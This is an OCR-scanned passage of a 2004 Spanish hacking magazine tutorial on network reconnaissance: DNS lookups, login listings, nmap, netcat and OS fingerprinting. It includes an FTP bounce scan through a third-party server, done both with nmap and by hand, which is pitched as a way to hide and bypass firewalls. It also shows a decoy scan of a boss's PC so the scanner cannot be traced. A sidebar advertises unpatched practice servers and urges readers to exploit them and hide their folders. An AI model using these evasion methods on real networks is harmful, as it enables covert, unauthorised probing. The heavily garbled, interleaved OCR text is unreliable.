determinado servidor DNS es el que queremos
gue nos resuelva la peticién, asi:

hd root@linux-rh8:~

Archivo Editar Ver Terminal |r Ayuda

[root@linux-rh8 root]# dig www.hackxcrack.com

3 <<>> DiG 9.2.1 <<>> www.hackxcrack.com

;3 global options: printcmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63510

;3 flags: gr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

33 QUESTION SECTION:
;www.hackxcrack. com. IN A

33 ANSWER SECTION:

www,hackxcrack. com. 76348 IN A 62.193.200.34
33 AUTHORITY SECTION:

hackxcrack.com. 76348 IN NS
hackxcrack.com. 76348 IN NS

ns2.amenworld.com.
nsl.amenworld.com.

;3 ADDITIONAL SECTION:
ns2.amenworld.com. 1229 IN A
nsl.amenworld.com. 130812 1IN A

195.154.205.8
62.193.206.145

33 Query time: 760 msec

;3 SERVER: 195.235.113.3#53(195.235.113.3)
33 WHEN: Wed May 12 13:05:55 2004

33 MSG SIZE rcvd: 130

[root@linux-rh8 root]#

L Ll

También se puede indicar el servidor DNS que
deseamos sea el encargado de resolver la
busqueda, asi:

# dig @195.235.113.3 www.terra.es

El DNS 195.235.113.3 sera quien se encargue
de resolver la consulta al webserver de terra.

v root@linux-thg:- =l X

Archivo Edtar Ver Teminal |r Ayuda
[root@linux-rh8 root]# host ww.terra.es 195.235.113.3 |
Using donain server:
Name: 195.235,113.3
Address: 195.235.,113,3#53
Aliases:

Wi, terra.es has address 213.4.130.210
l[-root@linux—rhs root]# v

En nimeros anteriores, esta revista ya trato
el asunto de los DNS, sera mejor que te eches
un vistazo al nimero 14 para entender mejor
su funcionamiento, los registros, punteros y
otros datos que albergan.

Dig es una herramienta parecida a host,
ofrece mas informacion, aunque también
podemos usar la sintaxis host -v
www.terra.es para obtener algo parecido a
lo que nos informa dig.
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Nslookup es otro comando que realiza las
mismas tareas que dig y presente tanto en
implementaciones Windows como LiNUX, cosa
gue no ocurria con los dos anteriores que no
estan disponibles para Windows.

Con nslookup podemos listar diferentes tipos

de servidores y direcciones de un dominio,
veamoslo desde Windows en esta ocasion:
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ev C:AWINDOWS\System32\emd.exe - nslookup

lookup
predeterminado: dns.terra.es
195:235°113°3

dns.terra.es
195.235.113.3

a no autoritativa:
MX preferenc ’ i x4 .mail.yahoo.con
MX preferenc ’ i x1.mail.yahoo.con
MX preferenc ’ i mx2.mail.yahoo.com

nameserver
nameserver
nameserver
nameserver
nameserver
il.yahoo.com interne! 3 66.218.86.199
.yahoo.com internet
il.yahoo.com internet
-vahoo.com internet
-com internet
~com internet
.com internet add 64.1
-com internet 64.
-com internet -
-com internet ' 67,
-com internet i 64,
-com internet
-com internet -
-com internet s 6‘1.156 215.18
-com internet P 64.156.215.5
-com internet 2 64.156.215.6
-com internet x 67.28.114.34
-yahoo.con internet address 6 63
-yahoo.con internet addre
-yahoo.con internet addre

En la pantalla anterior se solicitaron los
servidores de correo (registro MX del DNS)
correspondientes a yahoo.

Otra forma de consultar los registros DNS es
utilizar whois

Este es un comando integrado en la practica
totalidad de distribuciones LINUX, no asi en
Windows, sin embargo podemos consultar la
base de registros whois desde muchas web’s
o con herramientas especificas como
SamSpade, Netscan, etc... una forma simple
es desde el siguiente enlace:
http://www.allwhois.com/

La informacion procedente de los registros
whois puede ser no relevante, de hecho es
comun que se “falseen” o al menos no sean
datos verdaderos, no hay mas que ver en la
consulta anterior que el teléfono es
123456789, la direccion Wadalbertia, s/n,
Organizacion Null, seguramente TODOS falsos

También podemos usar herramientas de
terceros para mejorar la salida de todos estos
comandos, para Windows son muy populares
Visualroute y NeoTrace, asi como, también
existen multitud de enlaces web que nos
asisten en la ubicacién geografica de
direcciones IP, seguro que conoces mas de
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una y si no es asi, prueba algunos de estos
enlaces:

http://www.ip2location.com/free.asp

http://www.geoup.com/IpLocator.htm?GetLocation

NETSTAT

Disponible tanto para Windows como para
LINUX este comando listard todas las
conexiones de red y proporciona datos acerca
de los puertos TCP/UDP asi como de los
extremos en las conexiones establecidas por
las conexiones de red.

Son varias las opciones interesantes, como
muestra esta es una de ellas que visualizara
las conexiones TCP junto con los puertos y
procesos usados:

ev C:AWINDOWS\System32\cmd.exe E

[C:\>netstat —p tcp —on

[Conexiones activas

Proto Direccié Direccién remota Estado

ICP 127.8 2 .0.8.1:3306 ESTABLISHED
TCP 127.8 127. 1:1827 ESTABLISHED
TCP 172.28.8. 59:1296 287.46.244.222:80 CLOSE_WAIT

2N\

w

Este comando muestra todos los usuarios que
hayan iniciado una sesién en este momento,
disponible sélo para LINUX

R4 root@linux-rha:~
Archivo Editar Ver Terminal Jr Ayuda

[root@linux-rh8 root]# w [&]
3:20pm up 5:01, 1 user, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGING IDLE JCPU PCPU WHAT

root 10 : 10:20am 7 0.00s ? - i

| (rootelinux-rh8 root]# | |

Sin embargo podemos encontrar una version
similar en Windows con la utilidad
psloggedon, |la podemos bajar de:

http://www.sysinternals.com/files/PsLogged
On.zip

et C:A\WINDOWS\System32\cmd.exe
IC:\>ps loggedon

[PsLoggedOn vi.31 — Logon Session Displayer
Cnpyl ight (C)> 1999-2883 Mark Russinowvich
Sysinternals - www.sysinternals.com

Users logged on loca
{Unknown> NI HUTHORIIY\SERUICIO LOCAL
{Unknown> NI AUTHORITY\Seruicio de red
14/85/2004 108:26:36 LAPTOP-TOSHIBANVictor
<Unknown> NT AUTHORITY\SYSTEM

INo one is logged on via resource shares.
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No dejéis de bajaros TODAS las utilidades de
sysinternals, no tienen desperdicio, procesos,
monitorizacion de disco, ficheros, ejecucion
por netbios, etc. Todo ese conjunto de
herramientas son viejas conocidas en nuestros

foros... y si no.... buscad psexec

LAST y NTLAST

Con estos comandos podemos ver los Ultimos
inicios de sesion, w y psloggedon informaban
de sesiones actuales, estas informan de las
ultimas, en el siguiente ejemplo, las 5 Ultimas
(-n5)

hd root@linux-rhg:~ Ui G

Archivo Editar Ver Terminal [r Ayuda
[root@linux-rh8 root]# last -n5 [+
root 10 Fri May 14 10:29  still logged in
reboot  system boot 2.4.18-14 Fri May 14 10:28 (05:22)
root :0 Thu May 13 21:53 - down  (02:43)
reboot  system boot 2.4.18-14 Thu May 13 21:53 (02:44)
root :0 Thu May 13 21:47 - down  (00:04)

wtmp begins Mon May 10 00:39:42 2004 |
[root@linux-rh8 root]# -

Ntlast |o puedes encontrar en:
http://www.foundstone.com/resources/free

tools/ntlast30.zip

Dispone de multiples opciones, desde los
ultimos fallidos, con éxito, interactivos,
remotos, desde una fecha determinada, hasta
una fecha....

ev C:AWINDOWS\System32\cmd.exe

[C:\>ntlast /7
[Seek and Destroy — Information Uarfare

INTLast Copyright{(c> 2888, Foundstone Inc. All Rights Reserved
jJu3 .88 — http://www.foundstone.com
[Comnand Line Switches
Last Successful Logons
Last Failed Logons
Last Interactive Logons
Last Remote Logons
Logons by User — Cud = case sensitive username
Name of machine to machine name
Number of Last L er of records records
~from [\ml Last logoi om - <\md = upper—case UNC server name
- Condensed Output ault
-u Uerhose Output — logon/logof f /duration
-not [ul Filter ou - Case sensitive
Include null sessions — Ignored by default
Military Time Output Default matches event log time
File name — Saved .evt sec log to open
Print output as CSU
Raw date/times in CSU output
Last Successful Logon
Last Interactive Logon
Last Remote Logon
I1IS 4.8 logons only
Include entries after this date/time — Specify military time
Include entries before this date/time — Specify military time
Switches —ad and -bd can he combined to get bhetween date

Either switch statement can be used
He 1

Me dejo muchas y muy interesantes, ps,
pslist, kill, pskill y un sin fin de ellas, pero
para lo que nos ocupa hoy, nos sobran con
las que llevamos.
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Identificacion,
exploracion:

rastreo vy

Este es otro apartado para hacer un libro
enterito... escaneres, detectores de puertos,
barridos ping, etc... muchos... demasiados....

Voy a subrayar algunos:
Para Linux y Windows: nmap, netcat

Para Linux: nessus (aunque existe
también su réplica en Windows)

Exclusivos Windows: SuperScan y Retina.

NMAP

Ya se trat6 en el numero 13 de la revista,
aqui me limitaré a exponer algunas sintaxis
para esta herramienta que pueden resultarnos
Gtiles.

Lo podemos encontrar en:
http://www.insecure.org/nmap/nmap_down
load.html

Nmap hace muchas cosas, desde la deteccion
de sistemas operativos hasta la exploracion
de puertos y servicios, pasando por escaneos
“atipicos” o envio de paquetes fragmentados,
solapados, etc..

No voy a repetir articulos... vamos con un
caso practico y la explicacion del mismo...

Se trata de escanear un equipo (que en el
ejemplo es el mio) utilizando como “bouncer”
un servidor FTP, es lo que se llama una
exploraciéon de “rebote” o mas técnicamente
FTP bounce scan.

Para que sea breve el escaneo he abierto un
puerto, el 6539, en mi router y lo que le voy
a explicar a nmap es que utilizando un servidor
FTP remoto, haga un escaner de mi IP publica
para encontrar si ese puerto esta abierto o
no.
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Solo necesitamos dos cosas:

Una victima: YO, con la
IP:213.0.204.142 (AVISO: es una ip
dinamica... asi que no lo intentéis con
esta, utilizad vuestra propia IP o
no os funcionara)

Un servidor FTP anénimo... joer...
eso es mas chungo, no?

Pues no te creas, en unos minutillos encontré
unos cuantos, bien por que estan “asi” por
obligacion o porque sus administradores estan
en la inopia, pero.... usaremos uno conocido...
ia que no sabéis quien lo tiene asi
configurado? Pues nuestros servers de
practicas, no lo sabia... luego de paso les
probé algunas vulnerabilidades... y.... me
callo que “no toca”

Bueno, el caso es que el FTP de rebote sera
laIP 62.57.26.108

La orden nmap seria esta:

nmap —b anonymous@62.57.26.108 -P0 -p6539 213.0.204.142

—b es la opcion que nos permitira usar un
ftp de rebote

anonymous@62.57.26.108 es la forma
de autenticarnos ante el ftp andnimo

-PO le pide a nmap que no haga ping a
la direccién

-p6539 es el puerto a escanear, podria
haber sido un rango de puertos

213.0.204.142, es mi IP DINAMICA... no
uséis esa, ha de ser la vuestra.

VVeamos que ocurre:

Primero puse un esnifer en el equipo que
fue escaneado...
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ra CommView E‘@E

Archivo Buscar Ver Herramientas Preferencias Reglas Ayuda
P B & WH-0- W2 E

[ Estadisticas IP | {0 Paquetes | BEh Registro | [}, Reglas | (83 Alarmas

No. Protocolo  Direcciones Fisicas

1 PITCP 00:00:39:C1:6A:
IRITCP

Direcciones IP Puertos [

Captura On Pats: 160 entr. / 16533l / 2pas

Guardar Auto.: Off Reglas: 30n  Alarmas: Off

3% de Util. de CPU

Como ves, se recibe un paquete dirigido puerto
6539 procedente de la IP 62.57.26.108 (el
FTP) con puerto origen 20 (conexion de datos
del FTP)

Y luego sale otro paquete con destino a la IP
del FTP
Nmap ofrecié este resultado:

[root@linux-rh8 winl]# nmap -PO -b anonymous@®62.57.26.108 -p 6539 213.0.204.142 [+]
Assuming anonymous is a username, and using the default password: -wwwuser@

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on 213-0-204-142.dialup.nuria.telefonica-data.net (213.0.204.142):
Port State Service

6539/tcp  open unknown

Nmap run completed -- 1 IP address (1 host up) scanned in 15 seconds
Eoot@linux-rhs winl]#

Esto mismo lo podemos hacer “a mano”, y
como creo que es interesante que lo sepas,
aungue salga un tanto fuera del ambito de
este articulo, te contaré como se hace
manualmente, a ello:

Establecemos una conexion con el
servidor FTP: ftp 62.57.26.108

Cuando nos pida el login escribimos
anonymous

En password, o pulsamos enter o
le damos una direccion mail falsa, pe.
kk@kk.com

Ejecutamos PORT en el lado del
servidor: quote PORT
213,0,204,142,25,139

Ejecutamos un comando LIST en el
lado del servidor: quote LIST
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Aclarando...

Quote es un comando ftp que indicara
que lo que le sigue, lo debe ejecutar
el servidor y no nuestro cliente.

25,139 es el puerto 25 x 256 + 139
= 6539

Después del comando LIST podemos
recibir:

150 y 226 (Transfer complete)
significara que el puerto esta
abierto
150 y 425 (can’t open data
conection) significara que esta
cerrado.

Vemos dos ejemplos uno de exitoso (puerto
6539 abierto) y otro cerrado (puerto 6540)

Archivo Editar Ver Terminal |r Ayuda

[root@linux-rh8 winl]# ftp 62.57.26.108

Connected to 62.57.26.108 (62.57.26.108).

220 hxcservhack2 Microsoft FTP Service (Version 5.0).
Name (62.57.26.108:root): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.
Password:

230 Anonymous user logged in.

Remote system type is Windows_NT.

ftp> quote PORT 213,0,204,142,25,139

200 PORT command successful.

ftp> quote LIST

150 Opening ASCII mode data connection for /bin/ls.
226 Transfer complete.

i
e G|

Pero, cuidado... si alguien acusa a la maquina
hxcservhack2 de escanear su red.... en los
logs del servidor FTP estara nuestra IP, puesto
gque nos escondimos ante la maquina
213.0.204.142, no ante el servidor FTP.

Otra opcidn util de nmap, en lo que se refiere
al escaneo de puertos, es =D, a la cual le
han de seguir direcciones IP’s o nombres de
host vélidos, aunque el spoofing de IP tiene
muchas limitaciones hoy en dia en Internet,
dentro de una red local es factible en la mayoria
de los casos, por ejemplo:

Supongamos que queremos escanear el
ordenador del “jefe"”, este es el escenario:
Ordenador del jefe: 172..28.0.99
Nuestro PC: 172.28.0.200

Otros equipos en la red 172.28.0.xxx

Podriamos hacer esto:

nmap -PO -p20-500 -D 172.28.0.1,
172.28.0.45, 172.28.0.12, 172.28.0.200,
172.28.0.3, 172.28.0.14,172.28.0.67
172.28.0.99

hd root@ linux-rh8:~/winl

Archivo Editar Ver Temminal Ir Ayuda

[root@linux-rh8 winl]# ftp 62.57.26.108 [+]
Connected to 62.57.26.108 (62.57.26.108).

220 hxcservhack2 Microsoft FTP Service (Version 5.0).

Name (62.57.26.108:root): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

230 Anonymous user logged in.

Remote system type is Windows_NT.

ftp> quote PORT 213,0,204,142,25,140

200 PORT command successful.

ftp> quote LIST

150 Opening ASCII mode data connection for /bin/ls.

425 Can't open data connection. B

)

Observa que si el comando PORT funciona,
no so6lo nos escondemos, sino que podremos
realizar exploraciones de puertos sobre
cualquier maquina a la que el servidor FTP
tenga acceso y nos podremos mover “a
escondidas” por los filtros del router, ACL's y
reglas que los firewalls nos impedirian pasar,
a todas luces, el escaner lo efectud el servidor

FTP
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La sintaxis anterior, escanearia el rango de
puertos 20 a 500 de la ip 172.28.0.99 vy, en
el supuesto que existiese un IDS o que el
ordenador del jefe detecte el escaneo,
apareceran todas las IP's que siguen a la
opcién -D, por lo que no sabra a ciencia cierta
de donde vino el escaner de puertos.

nmap tiene muchas opciones Uutiles:
fragmentacion, sefiuelos, temporizacion,
exploracion inversa, deteccién del sistema
operativo, etc. Algunas las usaremos en
apartados posteriores, otras ya fueron
explicadas en niUmeros anteriores de la revista,
sin embargo crei conveniente mostrar estos
usos puesto que no fueron comentados con
esta amplitud en su dia.

NETCAT

Netcat es otra de las herramientas que no
deben faltar... es multiusos, igual nos sirve
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- Hack x Crack
servidores para que puedas realizar las
practicas de hacking.

ha habilitado tres

- Las IPs de los servidores de hacking las
encontraras en EL FORO de la revista

(www.hackxcrack.com). Una vez en el foro entra
en la zona COMUNICADOS DE HACK X CRACK (arriba del
todo) y veras varios comunicados relacionados con los
servidores. No ponemos las IP aqui porque es bueno
acostumbrarte a entrar en el foro y leer los comunicados.
Si hay alguna incidencia o cambio de IP o lo que sea, se
comunicara en EL FORO.

- Actualmente tienen el BUG del Code /

Decode. La forma de “explotar” este bug la explicamos
extensamente en los numeros 2 y 3. Lo dejaremos asi por
un tiempo (bastante tiempo ;) Nuestra intencién es ir
habilitando servidores a medida’ que os ensefiemos distintos
tipos de Hack.

- En los Servidores corre el Windows 2000 con el IIS
de Servidor Web. No hemos parcheado ningln bug, ni
tan siquiera el RPC y por supuesto tampoco hemos instalado
ningln Service Pack. Para quien piense que eso es un error
(légico si tenemos en cuenta que el RPC provoca una caida
completa del sistema), solo decirte que AZIMUT ha
configurado un firewall desde cero que evita el bug del
RPC, (bloqueo de los puertos 135 (tcp/udp), 137 (udp),
138 (udp), 445 (tcp), 593 (tcp)). La |ntenC|on de todo esto
es, precisamente, que puedas practicar tanto con el
CODE/DECODE como con cualquier otro “bug” que conozcas
(y hay cientos!!!). Poco a poco iremos cambiando la
configuracion en funcién de la experiencia, la idea es tener
los Servidores lo menos parcheados posibles pero
mantenerlos operativos las 24 horas del dia. Por todo ello
y debido a posibles cambios de configuracién, no olvides
visitar el foro (Zona Comunicados) antes de “penetrar” en
nuestros servidores.

- Cada Servidor tiene dos unidades (discos duros duros):
* La unidad c: --> Con 40GB y Raiz del Sistema

* La unidad d: --> Con 40GB

* La unidad e: --> CD-ROM

Nota: Raiz del Servidor, significa que el Windows Advanced
Server estd instalado en esa unidad (la unidad c:) vy
concretamente en el directorio por defecto \winnt\
Por lo tanto, la raiz del sistema esta en c:\winnt\

- ElI IIS, Internet Information Server, es el Servidor de
paginas Web y tiene su raiz en c:\inetpub (el directorio
por defecto)

Nota: Para quien nunca ha tenido instalado el IIS, le sera
extrafio tanto el nombre de esta carpeta (c: \metpub) como
su contenido. Pero bueno, un dia de estos os ensefiaremos
a instalar vuestro propio Servidor Web (IIS) y detallaremos
su funcionamiento.

De momento, lo GUnico que hay que saber es que cuando
TU pongas nuestra IP (la IP de uno de nuestros servidores)
en tu navegador (el Internet explorer por ejemplo), lo que
estds haciendo realmente es ir al directorio
c:\Inetpub\wwwroot\ y leer un archivo Illamado default.htm.

Nota: Como curiosidad, te diremos que APACHE es otro
Servidor de paginas Web (seguro que has oido hablar de
€él). Si tuviésemos instalado el apache, cuando pusieses
nuestra IP en TU navegador, accederias a un directorio
raiz del Apache (donde se hubiese instalado) e intentarias
leer una pagina llamada index.html ... pero... équé te
estoy contando?... si has seguido nuestra revista ya
dominas de sobras el APACHE ;)

Explicamos esto porque la mayoria, seguro que piensa en
un Servidor Web como en algo extrafo que no saben ni
donde esta ni como se accede. Bueno, pues ya sabes donde
se encuentran la mayoria de IIS (en \Inetpub\) y cudl es
la pagina por defecto (\Inetpub\wwwroot\default.htm). Y
ahora, piensa un poco... ... éCual es uno de los objetivos de
un hacker que quiere decirle al mundo que ha hackeado
una Web? Pues esta claro, el objetivo es cambiar (o sustituir)
el archivo default.html por uno propio donde diga “hola,
soy DIOS y he hackeado esta Web” (eso si es un lamer ;)

A partir de ese momento, cualquiera que acceda a ese
servidor, vera el default.htm modificado para verglienza del
“site” hackeado. Esto es muy genérico pero os dard una
idea de cdémo funciona esto de hackear Webs ;)

- Cuando accedas a nuestro servidor mediante el CODE /
DECODE BUG, crea un directorio con tu nombre (el que mas
te guste, no nos des tu DNI) en la unidad d: a ser
posible y a partir de ahora utiliza ese directorio para hacer
tus practicas. Ya sabes, subirnos programitas y practicar
con ellos 1) ... ... écdmo? éque no sabes crear directorios
mediante el CODE/DECODE BUG... repasa los niumeros 2 y
tres de Hack x Crack ;p

Puedes crearte tu directorio donde quieras, no es necesario
que sea en d:\mellamojuan. Tienes total libertad!!! Una
idea es crearlo, por ejemplo, en
d:\xxx\system32\default\10019901\mellamojuan (ya iras
aprendiendo que cuanto mas oculto mejor :)

Es posiblemente la primera vez que tienes la oportunidad
de investigar en un servidor como este sin cometer un delito
(nosotros te dejamos y por lo tanto nadie te perseguird).
Aprovecha la oportunidad!!! e investiga mientras dure esta
iniciativa (esperemos que muchos afos).

- En este momento tenemos mas de 600 carpetas de pefla

que, como tu, esta practicando. Asi que haznos caso y crea
tu propia carpeta donde trabajar.

MUY

IMPORTANTE...

del Servidor si no sabes exactamente lo que estds haciendo ni
borres las carpetas de los demas usuarios. Si haces eso, lo tinico
que consigues es que tengamos que reparar el sistema servidor
y, mientras tanto, ni tu ni nadie puede disfrutar de él :(
Es una tonteria intentar “romper” el Servidor, lo hemos puesto
para que disfrute todo el mundo sin correr riesgos, para que todo
el mundo pueda crearse su carpeta y practicar nuestros ejercicios.
En el Servidor no hay ni Warez, ni Programas, ni claves, ni nada
de nada que “robar”, es un servidor limpio para TI, por lo tanto

@

cuidalo un poquito y montaremos muchos mas ¥
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para escanear puertos que para realizar
conexiones inversas o .... ufff muchas cosas....

Aunque sus posibilidades como escaner no
son muy utilizadas, veamos una manera de
usarlo:

@88 .menta.

-menta.

-menta.

-menta.

-menta.
[docs27-108 .menta.

62.5 88 1-108
a.net [6 -26.1881 188 <(?>: TIMEDOUT
-net [62.57.26.1881 99

<{?>: TIMEDOUT

62.57.26.188 28-25

net [62.57.26.1881 {smtp> open

net -57.26.1881 ?>: TIMEDOUT
(telnet)>: TIMEDOUT
€?>: TIMEDOUT

Cftp> open
(ftp-datad: TIMEDOUT

net -57.26.1881]
net -57.26.1881]
net -57.26.1081]
net [62.57.26.108]
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Acabamos de escanear los puertos TCP del
20 a 25 del servidor de pruebas de
hackxcrack.

Existen numerosos escaneres y exploradores
de puertos y servicios, incluso son auténticos
analizadores de vulnerabilidades, entre los
mas interesantes tenemos:

Retina, SuperScan, ISS, Cops, Nessus,
NetScan, Saint, NetSaint y un largo etcétera
de ellos, no es el objeto de este hablar de
ellos, no obstante, no estaria de mas que
incluyeras alguno de los nombrados
anteriormente a tu coleccion.

Fingerprinting

Aunque la mayoria de los escaneres utilizan
técnicas de deteccidn del sistema operativo,
hay algunas herramientas especificas de ello,
veamos qué es y algunas utilidades.

El OS-Fingerprinting consiste en averiguar
el Sistema Operativo de una maquina remota,
para detectarlo se utilizan dos métodos:

1.- Escaneo Activo, probar puertos abiertos
y hacer las suposiciones de la maquina
2.- Escaneo Pasivo, no importa que los
puertos estén abiertos

Un rastreo activo es aquel que descubre
puertos significativos de un equipo, es
una técnica “agresiva” puesto que intentara
probar dichos puertos para establecer la

conexién y averiguar si corre un determinado
servicio o0 no, imagina una maquina con puertos
abiertos como el 139, 445, 135, 3389 casi
con toda probabilidad puede ser un Windows.

Un rastreo pasivo consiste en hacer un
seguimiento de la Pila de protocolos
TCP/IP y realizar una suposicion razonable
del Sistema Operativo que corre un host.

Los rastreos pasivos son mas sigilosos
puesto que no establecen una conexién como
tal, si pueden escanearan puertos abiertos
pero no es preciso que los haya...

éPor qué funciona un rastreo pasivo?
R: Porque muchos sistemas operativos “firman”
sus pilas TCP con determinadas parametros,

las “firmas pasivas” mas frecuentes estan:

En la Cabecera IP

TL El campo Total Length, Longitud Total del paquete
El incremento en el campo Identification (IP-ID)
TTL Tiempo de vida del paquete saliente

En la Cabecera TCP

Tamaiio de la ventana TCP (TCP Window Size)
El bit de No fragmentacion (DF)

El campo Opciones de TCP, sobretodo las
opciones Maximun Segment Size y SACK

También se pueden tomar otros valores, el
caso es que juntando al menos esos
parametros y observando sus respuestas
podremos hacernos una idea del tipo de
sistema Operativo que corre un sistema
Remoto.

Tanto para Windows como para LiNUX hay un
montdn de programas que utilizan el rastreo
pasivo para averiguar el Sistema Operativo
de un host, yo te recomendaria:

QueSO, nmap, Cheops, xprobe, pOf,
siphon, THC, ettercap, winfingerprinting...
algunas soélo para Linux otras en ambas
plataformas, no te costara encontrarlas por
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la red, son muy conocidas y te recomiendo
que utilices mas de una, no siempre los
resultados son satisfactorios, hasta el
administrador del equipo remoto puede haber
falseado las respuestas ante algunos de estos
programas y encontrarnos con resultados
equivocados.

Vamos a ver alguno de ellos:

nmap -PO0 -0 ip.destino

hd root@linux-rhg:~

Archivo Editar Ver Terminal Ir Ayuda
[root@linux-rh8 root]# nmap -PO -0 172.28.0.50 E‘

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )

Interesting ports on toshiba (172.28.0.50):

(The 1595 ports scanned but not shown below are in state: closed)
Port State Service

135/tcp open loc-srv
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp  open NFS-or-IIS
3306/tcp  open mysql
5000/tcp  open UPnP

Remote operating system guess: Windows Millennium Edition (Me), Win 2000, or Win
XP

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second
Eoot@linux—rhe root]# -

Otra herramienta bastante Util y muy versatil
es pof

La encontramos en:

http://lIcamtuf.coredump.cx/pOf-

-h, como es habitual la ayuda

-A, intercepta los paquetes de datos con
sefales SYN+ACK

-R, intercepta los paquetes de datos con
sefiales RST/RST+ACK

-p, modo promiscuo

-d, ejecuta pOf como servicio

=X, vuelca la salida completa del paquete
-1, visualiza la salida en una sola linea
-M, ejecuta pOf identificando sistemas

operativos que corren bajo una Unica puerta
de enlace

Hay mas, pero para los ejemplos que nos
atafien, nos serviran estas.

Supongamos que deseamos averiguar
el/los sistemas operativos de equipos
que realizan conexiones en nuestra LAN,
podemos usar:

devel.tgz en su version “reciente” o también
la version 2.0.3 en:

http://lcamtuf.coredump.cx/p0f.tgz

Y para Windows en:
http://www.mirrors.wiretapped.net/securit
y/network-mapping/p0f/p0f-2.0.3-win32-

binary.zip

De hecho te recomiendo que le eches un
vistazo a:
http://www.mirrors.wiretapped.net/security/

Encontraras utilidades muy interesantes,
alguna de ellas las necesitaremos en este
articulo.

POf tiene muchas opciones, veremos algunas
que pueden resultar interesantes:
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pof -p -1

hd oot linux-the:~/Taller_snort/p0f
Archivo  Editar Ver Teminal |r Ayuda

[root@linux-rh8 pof]# pof -p -1

pOf - passive os fingerprinting wtility, version 2.0.4-betal

(C) M. zalewski <leamtuf@dione.cc>, W. Stearns <wstearns@pobox.com>

pof: listening (SYN) on 'eth0', 207 sigs (12 genmeric), rule: 'all’.

172,28.0.50:1928 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 66.102.9.99:80 (distance 0, link: ethernet/moden)
172,28.0.50:1929 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 66.102.11.99:80 (distance 0, link: ethernet/modem)
172.28.0.9:1060 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 66.102.9.104:80 (distance 0, link: ethernet/moden)
172.28.0.9:1061 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 66.102.9.104:80 (distance 0, link: ethernet/moden)
172,28.0.200:32881 - Linux 2.4/2.6 (up: 17 hrs) -> 172,28.0.50:139 (distance 0, link: ethernet/moden)
172.28.0.200:32882 - Linux 2.4/2.6 (up: 17 hrs) -> 172.28.0.50:139 (distance 0, link: ethernet/moden)
172,28.0.200:32883 - Linux 2.4/2.6 (up: 17 hrs) -> 172.28.0.50:130 (distance 0, link: ethernet/moden)

Vemos que detecté sistemas Windows
(172.28.0.9 y 172.28.0.50) y un Linux
(172.28.0.200)

Incluso le podemos poner “reglas”, por ejemplo,
si lanzamos ph0 en modo promiscuo pero no
gqueremos capturar los paquetes de una

determinada IP, lo hariamos asi:

pOf —p —I 'not src host 172.28.0.200’
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T Si bien tiene muchas opciones, una prueba
Archivo Editar Ver Temminal |Ir Axuda . -

EroCe Lo The FoTIe D07 1 o' hot ez foen tro: oo o oot =|| sencilla la puedes obtener utilizando
pof - passive os fingerprinting utility, version 2.0.4-betal

(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns <wstearns@pobox.com> i 1 ic*

pof: listening (SYN) on 'etho’, 207 sigs (12 generic), rule: 'mot src host 172.28.0.200". Slmplemente esta sintaxis:

172.28.0.50:1957 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 216.239.59.104:80 (distance 0, link: ethernet/moden)
172.28.0.50:1958 - Windows 2000 SP2+, XP SP1 (seldom 98 4.10.2222) -> 216.239.59.104:80 (distance 0, link: ethernet/modem)

xprobe2 172.28.0.9

snorjxprobez-0.2

Aunque ya hemos dicho que pOf existe Archvo Edar Vo Taminal [ Apsda i
[+] Other guesses: [+l
HP4 H H [+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Workstation SP1" (Guess probability: 70%)
también para Windows, a mi me gusta otra e e e e e e e

{+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Workstation SP3" (Guess probability: 70%)

para este sistema operativo, bueno, también [+] Host 172.28.0.9 Running 05: "Microsoft Windows 2000 Workstation SP4” (Guess probability: 70%)

[+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Server" (Guess probability: 70%)

B . 4 [+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Server Service Pack 1" (Guess probability: 70%)
existe en LINUX, pero por ver otra mas... se [+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Server Service Pack 2" (Guess probability: 70%)
. . . (+] Host 172.28.0.9 Running 0S: “Microsoft Windows 2000 Server Service Pack 3" (Guess probability: 70%)

”a ma W’nf’ngerprlnt (+] Host 172.28.0.9 Running 0S: "Microsoft Windows 2000 Server Service Pack 4" (Guess probability: 70%)

[+] Cleaning up scan engine
[+] Modules deinitialized -
[+] Execution completed.

. . . [rootelinux-rh8 xprobez-0.2]# || [+
http://www.mirrors.wiretapped.net/security
/network-mapping/winfingerprint Recuerda cambiar la IP por la que deseas
/winfingerprint10022002.zip averiguar el sistema operativo y te dara las

probabilidades del que descubra... como en

Que ya de paso, ademas de escanear, nos el ejemplo anterior.

ofrece bastante informacion como usuarios,

recursos compartidos, claves del registro, SPOOFING Y HIJACKING
discos, etc... Y por su puesto el tipo de sistema
operativo

Bufff, esta seria una larga lista, al
principio hice referencia a ettercap
y hunt, aqui me voy a centrar en

s Winfingerprint 0.5.3

Input Options SMB Options

C i I¥ Win Fingerprint ™ Users V¥ Registr: w ; ” :

E IS?H'::Z“; ::eil:;;urhmd ¥ Null Se:sio:s v Services ™ Tragnsp:rts LI hunt, e'n une Web amlga amlga

i y querida, puedes encontrar un

1722605 @ Netwios shares W Okks [ sessons | S | flwpop oy paso a paso” de como usar
I Date and Time ¥ Groups ™ Ping Hosts Save et‘tercap, por ese motivo ObViaré

b || cualquier ejemplo de ettercap y me

B s Eoti SRtz izt limitaré a enlazarte el magnifico
A LB —
: Dornain Active Directory I~ TCP Portscan Range: '17 W [3_ s artI,CUIO g
Select Interactive Option: ! .
T ﬂ I” UDP Portscan Range: T 1024
Fi t: i
D 90 s S CARTORTE ~ || Los que son asiduos de nuestros foros
le: H
Role: NT WORKSTATION . ~ |/ seguro que ya saben a quien me
Role: LAN M k. i N .
